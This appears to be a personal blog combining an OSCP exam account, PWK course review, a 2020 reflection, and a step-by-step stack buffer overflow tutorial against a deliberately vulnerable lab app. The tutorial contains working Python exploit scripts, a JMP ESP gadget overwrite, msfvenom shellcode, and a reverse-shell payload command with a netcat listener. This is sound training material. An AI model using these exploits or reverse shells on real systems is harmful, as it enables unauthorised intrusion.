Yet another OSCP exam experience post..

A few weeks back I took the OSCP exam and wanted to put together a post about my experiences along with some links to resources I found useful.

I’ll begin by saying this was without a doubt the toughest exam I have done and probably the most stressful!

I began the OSCP/PWK course back the end of September 2020 and signed up for 2 months lab time. I originally scheduled the exam for Jan but ended up pushing it out to March as pretty much burnt myself out coming up to Christmas.

Part of this burn out was due to my (now previous) job role and the other was trying to do this course in with a full time job and single parent to 2 young kids. If you are wondering whether to do the PWK course whilst it is very rewarding it also is intensive and will require a significant investment of your time unless you are already doing this stuff as a career.

Offsec are rightly very strict about disclosing any details of the exam so I obviously wont be able to talk about the specifics so don’t ask!

My Strategy

After reading a heap of posts about other exam experiences and approaches I decided I’d approach the exam with the following strategy:

  • As it takes a while to enumerate a machine fully I might as well focus on the higher points machines and reach 70 points as quick as possible (passing mark) This meant I’d attack the buffer overflow (25pt) then another 25 pt followed by whichever 20pt looked easiest
  • I would begin with the Buffer overflow machine and run scans on the other machines in the background to make good use of time
  • I created a word doc for each machine and I’d write the steps and paste the screenshots in as I went along to hopefully avoid missing anything
  • If I got stuck for more than 2 hrs I would rotate to another machine – its very easy to get stuck on something that is not going to work from my lab experience
  • I put together a OneNote notebook of approaches for different ports/services and common commands that I would work through. Its very easy to forget to test something especially in stress of exam

My day went like this:

Of course my day ended up quite different to my original plan and went like this:

7:30 – I setup the proctoring software and wait nervously for exam connection details to arrive. Setup was straight forward and once running you don’t really notice it. It is worth noting that you do seem to occasionally need to click the proctoring window otherwise they’ll ping you to get you to share your camera again which is a bit distracting if you are in the middle of stuff

8am – VPN Details arrive and exam begins! I start on the buffer overflow using my pre-prepared scripts and approach. I kick off scans for the other machines

10am – Buffer overflow done and documented. I’m feeling good. In practice I got the buffer overflow process down to around 20 min in tryhackme room but it takes longer in the exam to do screenshots etc. I double check I have everything I’ll need for the report. I look over the scans for the other machines and continue with my strategy with approaching the higher value machines first

12:00 – Hmm i’m not making much progress on the 25 pointer I decided to take a look at one of the 20pt machines opting for the one with less services running..

13:00 – I got some lunch and had a walk around outside for 20 min to clear my head. I’m already feeling quite tired from 5 hours or so of this and the stress of the exam with only one machine complete..
I continue and I decided to take a look at the 10 pointer to get hopefully a quick win and some of my confidence back. This unfortunately doesn’t happen and I’m unable to make any progress on what I’d expected to be the easiest box pointwise which is er really discouraging ☹

15:00 – Really starting to feel pretty down about lack of progress as had hoped to complete a machine by now. Starting to wonder if I’ll end up chalking this whole exam up as a learning experience. I decided i’ll probably call it a day if I haven’t got any further by 20:00 (12hrs exam)

16:30 – Finally some progress on 25 pointer and I obtain low privilege access. Also realise I could have had this in the morning if I hadn’t made a dumb mistake..  !#$@

17:30 – Yay full access and 25 pointer done. Hmm start to feel a bit better as I “only” need another 20pts to pass which seems achievable in 12hrs

18:00 – Get some dinner and watch a bit of TV to clear head

19:00 – Try one of the 20 pointers for a couple of hours

20:00 – No luck on 20 pointer so switch to the other

20:30 – Yay low priv shell on 20pt!

22:00 – Root access and a sigh of relief as I now theoretically have enough points to pass 😊

23:00 – I double/triple check my notes and make sure I have a heap of screenshots. I find I’m missing a couple of steps so have to do them again grrr

23:30 – Go back to the 10 pointer – why is this so damn hard?!

01:00 – Get a really crappy 3 hours or so of sleep. I’m quite wired at this point from the stress and excitement of exam (and a few cups of coffee and cola)

05:30 – I wake up and have another go at 10 pointer with a few other things I thought to try

07:00 – Last check of notes, tidy up some items

07:45 – Exam ends. I’m actually quite glad about this as don’t want to look at any more machines, do any more labs etc

I then went and took a walk to get a big coffee and treated myself to a big almond croissant 🙂


I have to write a lot of reports and proposals in my role so this is probably a strength for me.

During the exam I had been writing up the machines as I go along in separate Word documents. This makes it easier to edit each individually before pulling them into one report.

I decided to use the offsec official reporting template as figure this will make it easier for them to mark and will def contain everything they want to see.

I spend the next 6-7 hours or so writing up the report and double/triple checking I haven’t missed anything and that the format, filename etc is correct – I’d hate to screw up some minor detail now!

Finally I submit report and am absolutely exhausted and i’m pretty wrecked the next day as well but luckily have taken it off.

Then just under 48hrs later I then get the confirmation I have passed 😊


  • Don’t give up – I really very nearly decided to call it a day after making little progress for 8 or 9 hours but ended up passing. Stuff can come together really quickly once you find the “thing” and this could be just around the corner..
  • For the Buffer Overflow create fuzzer/overflow scripts prior to the exam and practice the approach several times on the tryhackme room or dobufferoverflowgood (see below). These 25pts are likely to be the easiest points you’ll get on the exam
  • Buffer overflow machine first and scans in background seems a good approach to make good use of time
  • I’m not sure whether beginning with 25pt was a good idea or not. It was quite disheartening not to make any progress for a while and put me in a negative mindset which I suspect made finding stuff more challenging
  • The points value of a machine may not reflect its difficulty – I’d love to know what I was doing wrong with the 10pt machine!
  • Don’t underestimate the impact of the exam stress and tiredness will have on you. I suspect I wouldn’t have struggled with some of these machines outside of the exam environment
  • Take lots of breaks to clear your head. The exam is very tiring and this is a marathon not a sprint. You have plenty of time
  • Dont plan on doing much after the exam – you’ll likely be exhausted. I’m er not sure whether 48hr exam format is a great idea healthwise tbh
  • Screenshot everything and leave shells open with a big history. I had to go back and get some pics of items I had missed as closed shell terminals which wasted time
  • Double check everything – you dont want to find you have missed a key screenshot

So what’s next?
I’m enjoying learning more about infosec and am currently reading Web Application Hackers handbook and working through PortSwigger web security labs.

The Portswigger labs are actually intended as the 3rd edition of the book (to make it easier to keep up to date) and whilst the book was published a while ago it still contains some very relevant content and this will be a great reference for years to come so I have a hard copy of this.

I have a play project I am working on to create a deliberately vunurable.NET core app that I’ll post more about shortly..

Study Tips

  • Get comfortable with debugging stuff and using tools such as TcpDump, Burp etc. Ippsec has some great examples of this in his videos and it will help you understand whats really going on. Note how he’ll start with the simplest thing to check if it works before expanding onto something more complex to check connectivity before finally trying things like a reverse shell
  • Dont rely on Metasploit when practicing. Remember in exam you only get to use this awesome tool on one machine
  • What is your weak area? For me it was Linux skills and privesc so I focussed on these. After you’ve done so many labs and have the approach nailed down you are probably better off focussing on weaker areas rather than doing yet another machine


Below is a list of resources I found useful for preparing for the exam:

  • Ippsec HTB Videos. I tried to watch two of these a week and learnt a heap of techniques, approaches and Linux tips and tricks. Highly recommend and they are quite entertaining at times as well
  • Rana’s HTB machine writeups. Rana’s walkthroughs are really detailed and I read every single one prior to the exam.
  • Hacktricks book. This is really detailed and covers a lot of material including stuff to try on each port/service


  • Proving Grounds. Make sure you do the paid one/Practice machines are fairly similar to lab. I liked that these after 90 min provide an optional tip for scanning, initial foothold, privesc through to full walkthrough if you get stuck
  • Hack the box. You’ll want the paid VIP subscription to access retired machines. These all have walkthroughs and plenty on the web. The online VM works really well but is ParrotOS

Buffer Overflow:

  • Tib3rius TryHackMe Bufferoverflow Prep room. This is likely the best prep you can do and there’s a sample application with several variations, some well known apps like slmail all conviently on one VM
  • Tib3rius bufferoverflow script. I took the fuzzer and overflow scripts, modified them and added comments to describe step by step what to do. I then did two or 3 of the tryhackme buffer overflow challenges each week leading up to the exam
  • DoBufferOverflowGood Tutorial by Justin Steven. This is a really detailed explanation and tutorial that helped me understand a few things

I generally could get onto a box and found privesc the hardest aspect so really focussed on this area making use of the following:

Finally I wish you the best of luck if you are taking the exam. Its important to remember if it doesn’t work out that there are some really awesome folk in the industry who ended up taking this exam multiple times – I really liked Ian Coldwater’s tweets regarding this and they contain some great advice.

Beginning Buffer Overflows (saved return pointer overwrite)

Most technical folks will have some level of familiarity with the concept of buffer overflows and the impact they can have.

Offensive Security’s OSCP/PWK course was the first time I’d gone through the process step by step to create one.

You’ll find several write-ups of how to perform this process but I wanted to write this up myself as:

  1. It helps me get the idea concrete in my own mind and writing this out forced me to answer some questions I didn’t understand – and it raised a few more questions for me too!
  2. You need to know how to do this to pass the OSCP exam and this seems to be an area that scares folks – especially those with an infra rather than dev background which is understandable. I think this is a shame as the steps seem straight forward, can be practiced and its worth a massive 25% of the total possible exam marks. This seems an easier 25 marks than exploiting the “hard” 25pt box
  3. I found the concepts interesting 😊

If you find any technical mistakes here please let me know as I’m still learning this stuff and want to know 🙂

Very Important! Only run on services/machines you own or have permission to

It should go without saying but you must only run this stuff on services or machines that you own or have permission to perform this on and be sure to update the code for your own setup.

Running stuff like this on machines you don’t have permission to could get you into a lot of trouble/cause damage/even Jail..

With that out the way the good news is that there are plenty of really good and legal options to practice this stuff such as:

  • Locally in a VM with various intentionally vulnerable apps (I’ll discuss how to do this shortly)
  • TryHackMe have a room with many examples for practicing ()

Other items of note

We should note that this is probably the simplest possible example of a buffer overflow possible.

Modern applications are compiled with special options (ASLR etc) that will make this process much harder/impossible and modern operating systems have additional checks to prevent this naughtiness.

There’s all sorts of stuff I don’t understand yet designed to prevent this from randomising addresses to putting stuff on the stack and checking it’s still there (stack canaries).

However don’t think however that Buffer Overflows don’t occur any more as there are many examples in some well known applications and they continue to be a massive issue.

Credits – Justin Steven Do Stack Buffer Overflow Good Tutorial

I’m going to base most of the code from code in Justin Steven’s awesome tutorial. This is a really great tutorial and I highly recommend you work through it as he goes into a lot more detail than I will.

Be sure as well to check out the Cyber Mentor’s Buffer Overflows made easy series on YouTube – I love how he explains stuff.

What you will need to follow along

If you want to follow along with my example that’s based on DoStackBufferOverflowGood tutorial you’ll need the following:

  • DoStackBufferOverFlowGood Tutorial and intentionally venerable app. I am going to make use of the excellent buffer overflow tutorial and code created by Justin Steven.
    Another option you could also use is VulnServer. In fact you should try this too. This app has several buffer overflows for you to practice. The easiest uses the TRN command and you’ll need to send “TRN /.:/” (the dot is needed as the app checks for it)
  • Kali VM ( in my example)
  • Windows VM ( in my example)
    You want an older version of Windows which does not have various protections in place. I used Win7 VM with IE11 x86 from
  • Immunity debugger ( You need to install this on the windows machine
  • Mona Immunity extension Python scripts installed. These scripts are copied to Mona extensions directory and add additional functionality we will use


Creating a buffer overflow has several steps and it’s important you don’t skip a step. If you do then it becomes very difficult to work out why stuff isn’t working so don’t be tempted to – it will save you time I promise!

So what are the steps?

  1. Check connectivity to the venerable app from Kali to Windows. We’re going to check we can connect to the vulnerable application with NetCat (nc) and send it some data
  2. Trigger the buffer overflow. We’ll write a python script and send data of sufficient length to trigger a buffer overflow
  3. Work out exactly how much data to send so data ends up in the EIP register. The EIP (Extended Instruction Pointer register) tells the computer where the next command to execute is and by putting data here we can control the program flow muhahaah
  4. Confirm we have targeted the EIP correctly. We will confirm we have everything right by adding the characters “BBBB” and checking they are in the EIP
  5. Remove Bad Characters. We cant use some characters in our buffer overflow for various reasons as they will stop our buffer overflow working. These are things like 0x00 which terminates strings.
    We’ll send the vulnerable app a list of all the possible characters then compare what is in memory to what we sent. If a character is not in memory we wont use it in Step 6 and 7 where we generate code (it’s a baaad character!)
  6. Locate the address of JMP ESP instruction in the app or it’s libraries. You might think you can just add our code to run at this point.
    Unfortunately, we cannot guarantee where stuff will be in memory so we cannot hardcode this. The solution is we’ll find the address of an instruction that stays the same and will return us to our shell code.
    We’ll look for a JMP ESP instruction as this will direct the flow to code at the ESP (Extended Stack Pointer or where we are on the stack) where our shell code will be ready & waiting. We’ll also need to remember to encode this in a special way as x86 processor will expect numbers or memory addresses stored back to front (code and ascii strings are front to back for reasons I don’t understand). This is referred to as little endian architecture.
  7. Finally we’ll generate our (shell) code we want to run using a tool called msfvenom. Shellcode is assembly code that the CPU knows how to execute directly. We’ll generate some (shell) code that will run calc.exe. Whilst you could also generate a reverse shell (a connection back to your machine) it isn’t a bad idea to do the simplest thing possible so you can be sure your code is working and are not facing other issues such as a firewall blocking your reverse shell.

    We’re nearly ready to go but we have one more issue to work through. When we generate shell code with msfvenom it can end up overwriting a few bytes at the top of the stack whilst it works out where it is in memory using an operation called GetPC (Get Program Counter). This can stop our shell code working.

    Two approaches to solving this are:
    Adding a load of empty (NOP or No Operation) instructions prior that wont do anything and can be safely overwritten. This is called a NOP sled
    Add a special machine code instruction to subtract from the ESP and move it up the stack away from the code we’ll generate

I picture the whole process looking something like the following.

I’m not convinced I have the order right here (and judging by other conflicting articles I read this confused others too). You dont need to understand this if you follow the process but I found it quite confusing the direction stuff was happening, variables were being added to the stack etc.

Step 1 – Confirm Connection

Before we do anything let’s check we can talk to the vulnerable app from our Kali machine so we know we have connectivity.

Make sure the DoStackBufferOverflowGood app (I’m going to call this the “app” now as this name is a bit long) is running. When it’s running you should see a console app listing the bytes received etc. You should also check the firewall is disabled on Windows machine. Next log onto your Kali machine.

I’m then going to use nc to confirm the connection (windows machine is and its listening on port 31337) and send it “hello”:

You should get a response back from the app and in the Windows machine see it confirming bytes sent.

Ok we’re ready to write some code.

Step 2 – Python script to trigger bug
We’re now ready to write some code to send enough data to the app to trigger an overflow error.

On the Windows machine do the following:

Close the app as we’ll run it in Immunity from now on
Open the app in Immunity debugger
The app may pause at some points. Press the play button until the app shows the current status as “running” in the bottom right corner. Whenever you re-open the app you’ll need to do this
Back to the Kali machine where we’ll trigger the issue.

Make sure you update values to your setup otherwise it wont work or you could be sending some stuff to a machine you don’t have permission to (which er probably will do nothing but make sure you are not doing this).

You’ll need to change some of these values for your lab environment:
RHOST refers to the Windows machine the vulnerable app is running on
RPORT the port it is using (will be 31337 for this test app).

Note the line that reads: buf += “A”*1024 this is the number of A’s we’ll send the app to trigger the issue:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A"*1024
buf += "\n"


Save your script (I called mine and give it executable permission with:

chmod +x

We should now be good to run it with:

% ./

If you have done everything right then you should see the app should crash and an access violation in Immunity. If you go to the register pane (top right) you should see the value 41414141 in EIP register. 41 in hex is 65 and 65 is the ascii code for “A” if you wondered where this came from – these are all the A’s we sent.

Step 3 – Work out how many characters it takes to overwrite EIP

The next thing we need to work out is exactly how many characters we need to send where we reach the point where we overwrite the value in the EIP register. My understanding is this value would normally tell the function where to return to. We’ll make use of this to redirect it to our shellcode later!

Whilst you could send these characters one at a time using trial and error to work this out there is a quicker way and we’ll use Metasploit’s pattern_create script. This will generate a sequence of unique characters we can send and then compare what ends up in the EIP to work out the position.

On the kali machine run the following command to create this pattern – note the -l 1024 is the length of the pattern we will create. As we know we can trigger this by sending 1024 A’s this will be enough:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024

We’ll then take this pattern generated and update the code to send this pattern:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab"
  .. #ommitted for brevity
buf += "\n"


Remember to restart the app on the Windows machine and make sure its in a running state before running the script.

The application should crash:

We then need to see what characters ended up in the EIP register.

Here we can see the numbers 39654138:

On the Kali machine we’ll pass this number into a special script called pattern_offset.rb to work out this position:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138

This script should return the following message:

Exact match at position 146

Great – remember this number as we’ll need it for the next bit.

Stage 4 – Confirm we have the correct offset

OK things are looking good but we want to check this position is right so we’ll attempt to put 4x B’s in the EIP.

Note that the hex ascii code for “B” is 42 (42 in hex is 66 and 66 is B in ascii):

Update the code to the following – noting we added the position returned from the script below:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf_totlen = 1024
offset_srp = 146

buf = ""
buf += "A"*(offset_srp - len(buf))    # padding
buf += "BBBB"                         # SRP overwrite
buf += "CCCC"                         # ESP should end up pointing here
buf += "D"*(buf_totlen - len(buf))    # trailing padding
buf += "\n"


Again restart the app in Immunity and check its in the running state. When the app crashes you should see 42424242 in the EIP register (our 4x B’s).

This is awesome as we now have confirmed we can put what we want in the EIP (referred to as having control of the EIP):

Step 5 – Find Bad Characters

We’re not finished yet however and most apps will have some characters that for various reasons will stop our buffer overflow working.

It appears that almost always this will include 0x00 (NUL which also means end of string in C/C++) and often 0x0A (new line).

To work out what these characters are we will send all the possible bad characters and see what ends up in memory taking note of anything missing.

There’s a couple of ways to do this.

  • Using the mona command !mona bytearray will generate a list of bad characters for you to send and compare
  • Programmatically creating a file containing bad characters in code

I’m going to use Justin’s approach that generates a file with all the bad characters in range 0x00 to 0xFF which we can then copy to the Windows machine and compare in Immunity.

Our code is now:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

badchar_test = ""         # start with an empty string
badchars = [0x00, 0x0A]   # we've reasoned that these are definitely bad

# generate the string
for i in range(0x00, 0xFF+1):     # range(0x00, 0xFF) only returns up to 0xFE
  if i not in badchars:           # skip the badchars
    badchar_test += chr(i)        # append each non-badchar char to the string

# open a file for writing ("w") the string as binary ("b") data
with open("badchar_test.bin", "wb") as f:

buf_totlen = 1024
offset_srp = 146

buf = ""
buf += "A"*(offset_srp - len(buf))    # padding
buf += "BBBB"                         # SRP overwrite
buf += badchar_test                   # ESP points here
buf += "D"*(buf_totlen - len(buf))    # trailing padding
buf += "\n"


Save this script, restart the app in Immunity and run the script.

The app should crash as before and if we go to the register pane, right click on ESP and select the follow in dump option we should see what’s in memory:

If we go through the characters in order we can see 00 and 0A are not where we’d expect to find them ordered with the other characters:

There is an easier way however than manually looking through every character. Simply copy the generated file to the Windows machine C drive and run the following:

!mona compare -a esp -f c:\badchar_test.bin

Mona will then do a comparison and show us the values missing:

These are our bad characters. Take note of these as we’ll need them in a short time when we generate the code we want to run.

Stage 6 – Find a JMP Point

Now you might think you have everything you need to generate your code but there’s one more step we need to do.

We need to find a location in memory that wont change to put into the EIP.  We need to do this as:

  • The operating system may end up randomising some addresses
  • Stuff may move around in the app e.g. if it had multiple threads handling connections

There are certain things that will always be at the same location (gadgets) we can point the app at that will then return execution flow to where our shell code is ready and waiting.

We’ll look for an instruction called JMP ESP.  We can tell Mona to search all of memory for this instruction and also make sure that it doesn’t contain our known bad characters:

!mona jmp -r esp -cpb "\x00\x0A"

Mona has returned the following addresses:



We also need to check these points don’t have memory protection things enabled so check the ASLR, Rebase etc are all set to false.

If we want we can see the instruction at these addresses by right clicking on the address and selecting the “Follow Disassembler” option.

You should see JMP ESP command at both locations:

So now we have an address of a gadget we can use (0x080414C3).

However the CPU needs us to present this back to front (little-endian encoding).

We could either reverse this manually ourselves or import struct library and use .pack method – I think this is probably better as less error prone and its very easy to make a simple mistake.

Stage 7 – Generate Shell Code

Ok we’re almost ready to generate our code.

We’ll use a tool called msfvenom to generate machine code to fire up good old calc.exe!

Why kick off calc.exe – whilst you could go straight to a reverse shell its not a bad idea to do the simplest thing possible.

A reverse shell has other stuff that might get in the way e.g. firewalls/networks and if you don’t get a connection back you wont know whether it’s your exploit code or this. Firing up calc confirms our code works.  

We’ll generate shellcode using the following command and be sure to pass in the bad characters we found (\x00 and x0A):

msfvenom -p windows/exec -b '\x00\x0A' -f python --var-name shellcode_calc CMD=calc.exe EXITFUNC=thread

Note if you want to generate a reverse shell below is the code you will want:

msfvenom -p windows/shell_reverse_tcp -b '\x00\x0A' LHOST=KALIIP LPORT=KALILISTENINGPORT -f python --var-name shellcode_calc

There are some gotcha’s you need to be aware of here:


  • Make sure you pass in the bad characters we have identified to msfvenom. Thats the bit that says -b ‘\x00\x0A’
  • It’s probably best to do the simplest thing like run calc.exe before trying to create a reverse shell to make sure your code is working before introducing additional complexity. There could be several reasons a reverse shell wont work such as connections being blocked
  • If you are creating a reverse shell make sure you can accept connections from the Windows machine by adding firewall exceptions
  • Make sure you have something listening to catch the reverse shell! (e.g. nc -lvnp 4444)

There’s one final step we need to do.

The first few bytes of our shellcode could get overwritten accidently. This is apparently because the generated code needs to work out where it is in memory which can involve a call to a routine called GetPC which can overwrite some of the shell code. We want to make sure this doesn’t happen.

There’s 2 ways of doing this:

  • Put a load of empty instructions that can be overwritten (NOP sled)
  • Add an instruction to move the ESP away from our shell code

Option 1 – NOP (No Operation) sled
Add below before shell code:

buf += “\x90” * 12 #NOP sled

x90 is the x86 instruction for doing nothing in case you are wondering.

Option 2 (better practice)

We can generate an instruction to move away from the Shellcode with metasm_shell e.g.

sub esp, 0x10

This is considered better practice and uses less space which could be important if you have limited bytes to work with.

So our final code will look something like:

#!/usr/bin/env python2
import socket
import struct

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf_totlen = 1024
offset_srp = 146
ptr_jmp_esp = 0x080414C3 #JMP ESP gadget location

shellcode_calc =  b""
shellcode_calc += b"\xb8\xa9\x2c\x37\x99\xda\xc5\xd9\x74\x24"
shellcode_calc += b"\xf4\x5b\x31\xc9\xb1\x31\x83\xeb\xfc\x31"
... #ommitted for brevity

buf = ""
buf += "A"*146      # padding
buf += struct.pack("<I", ptr_jmp_esp)   # SRP overwrite
buf += "\x90" * 12 #NOP sled
buf += shellcode_calc               # ESP points here
buf += "D"*(buf_totlen - len(buf))      # trailing padding
buf += "\n"


I found Immunity could sometimes interfere with the shell code so I’d close it out of Immunity and run as an app.

All being well you should see calc pop up on the Windows machine!

Next you might want to generate reverse shell code and replace the calc code in

Here’s a reverse being caught using this approach:

My 2020 – Year in Review

Each year I used to write a reflection on the last year, set out goals etc but for whatever reason I stopped doing this. I’m not too sure why as I found it a useful exercise.

Last week I saw Paul Glavich’s post and felt inspired this year to give this some time.

This post is mainly for my benefit but maybe it has something useful in it for others too.


2020 was a weird and challenging year for everyone and a year I don’t think one anyone wants to repeat!

I’m grateful to live in Australia where we have so far been relatively untouched by everyone’s least favourite Corona Virus. I live in Melbourne however and we experienced some of the heaviest restrictions in the world designed to reduce the spread of Covid (everyone limited to 5km travel radius, schools and day-care shut, most non-essential shops shut etc).

Whilst the strategy has been a success reducing cases the impact of these restrictions in Melbourne was very unequally distributed with some individuals and businesses hit in an absolutely devastating way and I felt lucky to be able to work from home for a supportive company. In fact my employer was one of the first to move staff to work from home and very supportive over this period.

Whilst the restrictions were frustrating for all, I tried to make the most of the time and saw the following advantages:

  • I got to spend more time with the kids and with my daughter in particular as part of home schooling (this was good and bad!)
  • I saved some money having no commute and with various activities being closed
  • I revisited some hobbies/stuff I hadn’t touched for ages such as drawing, astronomy and playing on the Xbox (No Mans Sky)
  • I ate healthier – probably by not having access to Melbourne’s various lunch time options!
  • I had less of a commute so had more time*

* I’m not sure this actually worked out this way and the work day appeared to just extend..

There were some aspects I really didn’t enjoy:

  • Juggling work and kids was very draining and more so with co-parenting.

    Most colleagues and clients were pretty good about the impact of this but I ended up working some pretty long hours once kids were in bed to keep up with work/make hours up.

    On reflection I probably created some of this pressure myself and would have been better working less hours and taking personal leave.

    I remember one particularly terrible call to a client where I was looking after my kids. They spent the time making cockerel noises in the background whilst jumping between two sofa’s. One of them also had a er toilet accident to round off a great meeting..

    On another meeting I was assisting my son to find his favourite toy monkey and hit the unmute button on my head-phones so other folks could hear me walk round the house with him calling out for monkey. I didnt know this until my colleague texted me bahaha
  • Context switching is always hard and wasteful but I found the switch between work and parent mode very draining. I had not realised that my commute back from work provided a kind of transition between the two parts of my life that I no longer had working from home. I ended up building a transition period into my day where I wound up work stuff as found I would be tired and grumpy when I had my kids dropped off/picked-up without it
  • Teams etc is good but I missed in-person conversations, team meetups, socials etc
  • After a while I grew to hate the repetitiveness of working from home and being in the same room. Yesterday I moved my computer into a different room which probably isn’t as well suited a space just for the variety

What went well last year?

  • We had significant success on several proposals, and I increased my commercial knowledge, awareness, and understanding of contracts
  • I improved my security knowledge and obtained (at least as far as I know) a good foundational understanding of penetration testing via Offensive Security’s PWK course.

    I also found a mentor in this area and cant recommend enough this being a great way to rapidly upskill in an area by having someone more experienced to advise and coach you.

    I focused on security as wanted to understand how an attacker would approach applications so I could better defend against them and well it sounded pretty interesting as well 🙂

    I really enjoyed learning about a new area as had probably become a bit jaded by .NET and front-end frameworks and enjoyed the variety and challenge of something different. It was great to get into some lower-level stuff such as buffer overflows/assembly programming.

    I also discovered CTF style challenges such as Hack the Box which worked well during lockdown to keep me occupied and challenged!

    I’m scheduled to do the exam for this course in March. OSCP is known as being a difficult exam and many folks seem to retake a few times so suspect it will be challenging and may require a few attempts.

    I’ll give it a go through although I have a queue of other items starting to build up requiring attention so not sure how long I’ll be able to spend on this but will see how it goes
  • I obtained a good working knowledge of Linux as part of the course discussed above. Whilst I knew Linux would feature heavily this was kind of an unexpected benefit and an area, I’d like to explore more. It’s probably also looking in future if your PD study could hit a few areas at once for efficiency purposes
  • Savings from lockdown meant I could pay off a loan 5 months earlier than I expected
  • At the end of the year I replaced my 11 year old car which made driving more enjoyable and easier to transport kids & their stuff

Plans for 2021

  • This year needs a better work life balance. I’m not sure what this looks like yet but last year work certainly got the majority of my time and energy and the kids had a tired and grumpy dad at times which isnt right. Some of this was probably on me as due to everything being shut in Melbourne during lockdown it could lead to the decision of well I’m not doing anything else so might as well do some more work..
  • Building breaks in between conference calls. Conference calls at one point seemed continuous throughout the day which was very draining, made it difficult to maintain attention and also do other work. I now build in time between calls which I wont move. I also block out focus periods, lunch and try to leave the house during the day
  • I have a good desk and chair setup but need to move around/stretch more as started getting various aches and pains I have never experienced before. I saw a physio last year who said he was seeing a heap of folks complaining of various issues related to working from home 😦
  • I’m enjoying learning about the security stuff and once the OSCP exam is complete intend to shift my focus here to developing some kind of security foundations/basics program. I think most of us tend to learn this stuff from a theoretical perspective only and getting some more hands on knowledge could assist us getting a better knowledge.
    I’m not too sure what this looks like yet but maybe some form of intentionally vulnerable app. It would also be great to have some more Microsoft tech focussed examples in this area. I’d also like to spend some time looking at threat modelling.
  • Miro has proved a useful tool for remote collaboration for us and I’d like to spend a little time looking at what can be done with it beyond the basics
  • I’d like to spend some more hand’s on time with AWS. I’ve spent a fair bit of time with Azure and want to learn something different. I had planned to get a bit more involved hand’s on in one project but this didn’t eventuate due to other commitments but I’m planning on insisting on doing this in 2021
  • Revisit Azure DevOps build and deployment functionality. This has progressed considerably since I last looked and I need to update my knowledge
  • Spend more time for personal development – and do it during work hours.

    We have a good PD program at Purple but due to work-load most of my study for the security course was done in my own free time.

    Whilst I enjoyed the course it is also important to get rest (whatever form that takes for you) and my approach to do this study in the evening eventually left me felling quite burnt out by the end of the year.

    I found that with a long list of tasks its very easy to focus on these at the expense of your own development and this will eventually lead to the atrophy of skills.

    I think most folks who start to get a larger workload will go through something like:

    1) Work longer hours to try and keep up. Maybe you start to do a sweep of emails/items at the weekend or work a longer day. This works for a bit but isn’t a long term strategy especially as work loads dont tend to decrease
    2) You might then look at stop doing “non-essential things” like personal development to make more time. You later realise some of this stuff is er essential/you enjoyed
    3) Realization that you are dropping things so then look at other options such as delegation/prioritisation
    4) Declare work load bankruptcy!

    This is a trap – build time to focus on skill development and make sure you do some stuff you enjoy as well as stuff that needs to be done.

Anyway if you have made I to the end of this I wish you all the best for 2021.

Thoughts on PWK/OSCP Course

This year I wanted to improve my security knowledge and understand how an attacker would approach compromising an application so I could better secure solutions I was involved in developing.

I suspect most developers (including myself) learn about security from a mainly theoretical perspective and wont be exposed to an attackers methodology, tools or techniques. I think this is probably a mistake and most of us would benefit from seeing or having hands on (legal!) experience so we can build more resilient and secure applications.

I wasn’t sure where the best place to start with this was but my manager Horay had previously suggested that certifications in addition to providing proof of knowledge can be a good option by providing a learning path to work through. They also ensure you cover some areas that you might not cover on your own.

I had a look at what was available in the security cert space and there were a few options. Previously I’d chatted with one of my colleagues (hello Vats!) some time ago about Offensive Security’s Penetration Testing with Kali Linux course. This course concludes with a 24hr exam where you have to compromise a number of machines and then another 24hrs to write up how you did it and I was kind of intrigued by this.

The PWK is a self-study course aims to introduce you to penetration testing methodology, key tools and approaches. I understand this qualification is well respected in the industry due to the tough nature of the test and is currently pretty much essential for those wanting to start a pen testing career.

The course
The course costs start at $999 USD at the time of writing. This gives you 1 month’s lab access, 850 page PDF, a set of videos and access to their forums. It’s not cheap but I don’t think its unaffordable either and cheaper than your average multi-day conference. I felt overall it was good value for the money although I’ve listed some cheaper options at the end of the article.

Probably one of the best things about this course is the lab. You connect to the course lab using OpenVPN and it’s made up of an extensive set of machines (70ish) and connected networks all waiting for you to compromise them. I don’t want to spoil any surprises as participants will enjoy the details but I will say that a lot of thought has gone into the setup of this and its not just 70 separate machines..

One thing you should be aware of and that creates some pressure is that when you enrol in the course you have to select a date to start. Your lab time will then start ticking down from this date so make sure you have cleared some time in your schedule as this course will consume substantial time..

How long is enough lab time?
Unless you are studying this course full time (how good would that be?) or have prior security experience and are doing this for the certification most folks will need 2 or 3 months lab time at least. From what I read multiple extensions and exam retakes are common.

I enrolled in the course with 2 months lab access. I work full time in a demanding job and am a single parent with 2 little kids and I worked on the course mostly once the kids were in bed or at weekends. I made it through the book & exercises and compromised about 16 machines in the lab and another 10 or so on Hack the Box (more about this later). This was fun but exhausting and I’m not sure I’d recommend this pace. If you can do get more lab time – you wont regret it.

You can extend your lab time afterwards but it is more expensive to extend than upfront (currently $359 USD for 30 days). There are also other cheaper practice machine options but we’ll get to that.

Pre-Req Knowledge
To make the most of the course you will need to have knowledge in 4 main areas:

  • Networking (basic stuff – DNS, TCP/IP basics, ports etc)
  • Linux (intermediate?)
  • Windows (basic)
  • Programming (basic and comfortable modifying Python & Bash scripts. I’d rarely worked with Python but it was trivial to make the basic mods necessary during the course e.g. setting variables, basic logic)

For those of you starting out in IT I probably wouldn’t recommend this course as a starting point and guess you’d get frustrated pretty quick. Even if you know you want a pen testing career you’ll probably get more from it with a few years dev or infra experience. Having said that I did read some blog posts from a few folks who had jumped right in and had success so each to their own I guess.

